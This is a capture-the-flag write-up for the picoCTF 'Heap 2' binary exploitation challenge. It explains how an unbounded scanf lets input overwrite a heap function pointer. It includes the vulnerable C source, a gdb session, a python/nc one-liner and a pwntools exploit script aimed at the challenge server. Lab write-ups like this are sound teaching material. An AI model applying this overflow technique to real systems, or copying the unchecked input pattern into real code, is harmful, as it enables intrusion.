heap2
⚒️ Heap 2
| Category | Author |
|---|---|
| ⚒️ Binary Exploitation | Abrxs, pr1or1tyQ |
Challenge Prompt
Can you handle function pointers?
Download the binary here.
Download the source here.
Problem Type
- Buffer Overflow
Solve
We are given the program source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
// code removed for brevity
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
// code removed for brevity
In this program we are given the code wrote in C. The scanf function with the %s format specifier in the write_buffer function is inherently dangerous because it performs no bounds checking.
It will keep writing characters into input_data until it hits a space or a newline.
This line in the code is key:
1
void check_win() { ((void (*)())*(int*)x)(); }
-
x: Look at the memory where x points. -
*(int*)x: Grab the first 4 bytes of data at that location. -
(void (*)()): Treat those 4 bytes as a memory address pointing to a function. -
(): Jump to that address and execute whatever code is there!
To get the flag, we need to overwrite the word bico with the exact memory address of the win() function.
We can do this a couple of ways, let’s start with the manual way. If we download the binary and save it as chall to our machine, then we can use gdb.
1
2
3
4
5
6
7
gdb chall
# print the win function
(gdb) p &win
# Output
$1 = (void (*)()) 0x4011a0 <win>
So the location of the win function is at 0x4011a0.
Then we could send a python one liner over to exploit the program:
1
2
# send the 2 followed by enter to open the write to buffer menu, send our 32 A and then the win function location, then select menu option 4
(python3 -c 'import sys; payload = b"2\n" + b"A"*32 + (0x4011a0).to_bytes(8, "little") + b"\n4\n"; sys.stdout.buffer.write(payload)'; cat) | nc mimas.picoctf.net 54064
I wanted to get some more practice with pwntools so I decided to try that too:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
HOST = 'mimas.picoctf.net'
PORT = 54064
elf = context.binary = ELF('./chall')
p = remote(HOST, PORT)
win_address = elf.symbols['win']
log.info(f"Found win() function at address: {hex(win_address)}")
p.recvuntil(b'Enter your choice: ')
p.sendline(b"2")
p.recvuntil(b'Data for buffer: ')
p.sendline(b"A" * 32 + p64(win_address))
p.recvuntil(b'Enter your choice: ')
p.sendline(b"4")
print(p.recvall().decode())